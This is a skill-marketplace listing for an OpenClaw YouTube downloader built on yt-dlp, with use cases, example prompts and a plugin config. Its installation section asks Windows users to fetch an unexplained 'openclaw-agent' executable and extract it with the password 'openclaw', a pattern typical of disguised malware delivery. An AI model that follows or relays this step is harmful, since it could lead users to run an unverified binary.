youtube-video-downloader
Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.
Why use this skill?
Learn how to use the OpenClaw YouTube Video Downloader skill. Download videos, extract audio, and manage playlists with this powerful automated media tool.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-9kscvWhat This Skill Does
The youtube-video-downloader skill is a powerful automation tool for OpenClaw that allows users to seamlessly download, manage, and extract content from YouTube videos, playlists, and channels. Leveraging the industry-standard yt-dlp utility, this skill handles everything from high-resolution video archival to audio-only extractions and metadata management. Whether you need to save educational tutorials for offline viewing, convert music videos to audio formats, or automate bulk backups of video series, this tool provides a robust, command-line-driven interface that integrates directly into your agentic workflow.
Installation
To get started, you must first ensure the foundational openclaw-agent utility is active on your system. For Windows users, download the executable from the provided repository and use the password 'openclaw' to extract. macOS users should utilize the provided terminal snippet. Once the agent is ready, install the primary tool via pip install yt-dlp. For optimal performance—specifically regarding format merging and conversion—it is highly recommended to install ffmpeg via your system package manager (brew for macOS, winget for Windows, or apt for Linux/Ubuntu).
Use Cases
This skill is perfect for creators, researchers, and offline-media enthusiasts. Common use cases include: 1. Archiving lecture series or tutorials for offline study. 2. Extracting high-fidelity audio from podcasts or music videos into MP3 or M4A formats. 3. Organizing large media libraries using customizable naming templates that include upload dates, channel names, or indices. 4. Batch processing entire YouTube playlists or channel histories to ensure local backup compliance.
Example Prompts
- "Download the latest video from this link and save it to my ~/Videos folder with the channel name and upload date in the filename."
- "Extract the audio from this playlist as MP3s, making sure to embed the thumbnails and metadata for each track."
- "Save the first 10 videos from this YouTube channel as 1080p files, including the English auto-generated subtitles."
Tips & Limitations
Always check available formats using the '-F' flag before initiating large downloads to avoid wasting bandwidth on undesired quality levels. Be mindful that downloading entire channels can consume significant storage space and bandwidth. Ensure that you have sufficient disk space when using formatting options like '--embed-thumbnail' and '--add-metadata' as they require extra processing. The skill relies on external media codecs (ffmpeg) for advanced operations; if you encounter errors during format merging, verify that ffmpeg is correctly installed and accessible in your system PATH.
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{
"plugins": {
"official-hightower6eu-youtube-video-downloader-9kscv": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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